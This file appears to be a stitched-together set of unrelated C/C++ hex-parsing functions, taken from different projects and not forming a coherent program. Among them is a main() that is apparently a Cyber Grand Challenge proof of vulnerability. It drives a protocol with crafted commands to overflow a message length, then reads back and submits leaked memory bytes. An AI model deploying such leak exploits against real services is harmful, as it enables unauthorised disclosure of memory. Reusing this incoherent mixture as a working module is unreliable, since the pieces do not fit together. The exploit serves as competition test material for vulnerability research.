unsigned int DecodeHex(const char* pData,BYTE* pOut,int inlen)
{
unsigned int decodesize = 0;
if(inlen==0)
inlen = (int)::strlen(pData);
char *pBinPtr = const_cast<char*>(pData);
char *end = pBinPtr+inlen;
BYTE *pWrite = pOut;
for(pBinPtr; pBinPtr < end; pBinPtr+=2)
{
if(!IsHexChar(*pBinPtr) || !IsHexChar(*(pBinPtr+1))) break;
++decodesize;
*(pWrite++) = HEX2BYTE(*pBinPtr,*(pBinPtr+1));
}
return decodesize;
}
void FormatHex(char* string)
{
int len=strlen(string);
_strupr(string);
char* new_string=(char*)malloc2(len+1);
memset(new_string, 0, len+1);
for(int i=0,j=0; i<len; i++)
if(IsHexChar(string[i]))
j+=sprintf(new_string+j, "%c", string[i]);
strcpy(string, new_string);
free2(new_string);
}
int DeleteNotHexChars(char *cpSrc, int iInLen, char *cpDest, int *ipOutLen)
{
*ipOutLen = 0;
int i = 0, j = 0;
for( i=0; i<iInLen; i++ )
{
if( IsHexChar( (unsigned char)cpSrc[i]) )
{
cpDest[j++] = cpSrc[i];
}
}
cpDest[j] = 0;
*ipOutLen = j;
return 0;
}
bool HtmlColor2RGB(const std::string& HtmlColor,
uint8_t* r, uint8_t* g, uint8_t* b)
{
/*#rrggbb*/
if(HtmlColor.size() != 7 || HtmlColor[0] != '#')
return false;
for(std::string::size_type p = 1; p < HtmlColor.size(); ++p) {
if( !IsHexChar( HtmlColor[p] ) )
return false;
}
*r = HexToBYTE(HtmlColor[1], HtmlColor[2]);
*g = HexToBYTE(HtmlColor[3], HtmlColor[4]);
*b = HexToBYTE(HtmlColor[5], HtmlColor[6]);
return true;
}
PPDERROR
BUFOBJ_CopyStringHex(
PBUFOBJ pBufObj,
PSTR pTo
)
/*++
Routine Description:
Copy string out of a buffer object and treat its contents
as a mix of normal characters and hex-decimal digits.
Arguments:
pBufObj - pointer to buffer object
pTo - pointer to destination character buffer
Return Value:
PPDERR_NONE - string was successfully copied
PPDERR_SYNTAX - invalid hex-decimal string
[Note:]
Since we use the null character to as a string terminator,
it cannot appear as embedded hex string. Otherwise, the
string will be terminated prematurely.
--*/
{
PSTR pFrom = pBufObj->pBuffer;
char ch;
BOOL bHexMode = FALSE;
// Go through the source string one character at a time
while ((ch = *pFrom++) != '\0') {
if (bHexMode) {
// Currently in hex mode
if (ch == HEXEND_CHAR) {
// Get out of hex mode when we see a '>'
bHexMode = FALSE;
} else if (IsHexChar(ch) && IsHexChar(*pFrom)) {
// Convert two hex digits into a single byte
ASSERT(ch != '0' || *pFrom != '0');
*pTo++ = (HexValue(ch) << 4) | HexValue(*pFrom);
pFrom++;
} else {
// illegal hex-decimal digits
DBGMSG(DBG_LEVEL_ERROR, "Invalid hex digits.\n");
return PPDERR_SYNTAX;
}
} else {
// Currently not in hex mode
if (ch == HEXBEGIN_CHAR) {
// Get into hex mode when we see a '<'
bHexMode = TRUE;
} else {
// Copy normal character
*pTo++ = ch;
}
}
}
// Null-terminate the destination buffer
*pTo = '\0';
// Return success status code
return PPDERR_NONE;
}
int main(void)
{
// ipmask -- mask of CB/RB instruction pointer
// regmask -- mask of CB/RB register (specified by third argument)
// 0 - eax, 1 - ecx, 2 - edx, 3 - ebx, 4 - esp, 5 - ebp, 6 - esi, 7 - edi
// Negotiate type2 -- populate t2vals
unsigned char *read_data = NULL;
unsigned int read_len = 0;
int read_res;
int i;
unsigned char same_line_delimiter[] = ": ";
unsigned char new_line_delimiter[] = "\n";
unsigned int type2_addr;
unsigned int type2_size;
unsigned int type2_length;
NegotiateType2Pov( &type2_addr, &type2_size, &type2_length );
// Read command count
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "3\n" );
// Read source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Read Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "19\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "7\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "25\n" );
// Now send TCM enable command
// Get source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Get Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "20\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "11\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
// 125 milliseconds
SendCommand( "125\n" );
// Read send binary message
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
// Send TCM start command
SendCommand( "03010001\n" );
// Read Enter Source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Read Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "20\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "11\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "225\n" );
// Read enter binary message
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
// Send cgc_read wheel speed command -- exceed the length and cgc_read the equipment ID -- it should leak 64-bits or 8-bytes of data
SendCommand( "010600010406070809\n" );
// Consume 13 lines...
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
const char *szExpectLine = "[MESSAGE][SRC=20][DEST=0][LENGTH=13]\n";
if ( read_len != cgc_strlen(szExpectLine) )
{
char *szBlah = "0000";
SendBytes( 3, (char *)szBlah, 4 );
_terminate(-1);
}
if ( memcmp( read_data, szExpectLine, read_len ) != 0 )
_terminate(-1);
// Next line has equipment ID -- which is type 2 memory leak
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
if ( read_len < 26 )
_terminate(-1);
else
{
// Convert
uint8_t pov2_data[8];
size_t pos_source = 10;
size_t count = 0;
size_t out_pos = 0;
for ( count = 0; count < 8; count++ )
{
pov2_data[out_pos] = 0;
if ( !IsHexChar( read_data[pos_source] ) )
_terminate(-1);
pov2_data[out_pos] = (HexCharToInt( read_data[pos_source] ) << 4);
pos_source++;
if ( !IsHexChar( read_data[pos_source] ) )
_terminate(-1);
pov2_data[out_pos] |= (HexCharToInt( read_data[pos_source] ));
out_pos++;
pos_source++;
}
SendBytes( 3, (char *)pov2_data, 4 );
}
}
// NOTE: caller must free the buffer returned
BYTE *HexToBinary(char *Input, DWORD InputLength, DWORD *OutputLength)
{
DWORD i, j, ByteCount = 0;
char temp_byte[3];
BYTE *p, *ByteString = NULL;
if (!InputLength || !OutputLength) return NULL;
else *OutputLength = 0;
while (*Input && isspace(*Input)) { Input++; InputLength--; }
if (!*Input) return NULL;
if (Input[0] == '\"') { Input++; InputLength--; }
p = (BYTE *)strchr(Input, '\"');
if (p) InputLength--;
if (InputLength > 2 && Input[2] == ' ') // assume spaces
{
for (i = 0; i < InputLength; i += 3)
{
while (i < InputLength && isspace(Input[i])) i++; // skip over extra space, \r, and \n
if (i >= InputLength) break;
if (!IsHexChar(Input[i]))
{
//fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
goto abort;
}
if (i + 1 >= InputLength || !Input[i + 1])
{
//fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
goto abort;
}
if (i + 2 < InputLength && Input[i + 2] && !isspace(Input[i + 2]))
{
//fprintf(stderr, "ERROR: Hex string is malformed at offset %lu (0x%04x)\n", i, i);
//fprintf(stderr, "Found '%c' (0x%02x) instead of space\n", Input[i+2], Input[i+2]);
goto abort;
}
ByteCount++;
}
if (!ByteCount)
{
//fprintf(stderr, "Error: no input (byte count = 0)\n");
goto abort;
}
ByteString = malloc(ByteCount + 1);
if (!ByteString)
{
//fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
goto abort;
}
memset(ByteString, 0, ByteCount + 1);
for (i = 0, j = 0; j < ByteCount; i += 3, j++)
{
while (isspace(Input[i])) i++; // skip over extra space, \r, and \n
temp_byte[0] = Input[i];
temp_byte[1] = Input[i + 1];
temp_byte[2] = 0;
ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
}
}
else if (InputLength > 2 && Input[0] == '\\')
{
for (i = 0; i < InputLength; i += 2)
{
if (Input[i] != '\\' || (Input[i + 1] != 'x' && Input[i + 1] != '0'))
{
//fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
goto abort;
}
i += 2;
if (!IsHexChar(Input[i]))
{
//fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
goto abort;
}
if (i + 1 >= InputLength || !Input[i + 1])
{
//fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
goto abort;
}
ByteCount++;
}
if (!ByteCount)
{
//fprintf(stderr, "Error: no input (byte count = 0)\n");
goto abort;
}
ByteString = malloc(ByteCount + 1);
if (!ByteString)
{
//fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
goto abort;
}
memset(ByteString, 0, ByteCount + 1);
for (i = j = 0; j < ByteCount; i += 2, j++)
{
i += 2;
temp_byte[0] = Input[i];
temp_byte[1] = Input[i + 1];
temp_byte[2] = 0;
ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
}
}
else // assume it is a hex string with no spaces with 2 bytes per character
{
for (i = 0; i < InputLength; i += 2)
{
if (!IsHexChar(Input[i]))
{
//fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
goto abort;
}
if (i + 1 >= InputLength || !Input[i + 1])
{
//fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
goto abort;
}
ByteCount++;
}
if (!ByteCount)
{
//fprintf(stderr, "Error: no input (byte count = 0)\n");
goto abort;
}
ByteString = malloc(ByteCount + 1);
if (!ByteString)
{
//fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
goto abort;
}
memset(ByteString, 0, ByteCount + 1);
for (i = 0, j = 0; j < ByteCount; i += 2, j++)
{
temp_byte[0] = Input[i];
temp_byte[1] = Input[i + 1];
temp_byte[2] = 0;
ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
}
}
*OutputLength = ByteCount;
return ByteString;
abort:
if (OutputLength) *OutputLength = 0;
if (ByteString) free(ByteString);
return NULL;
}
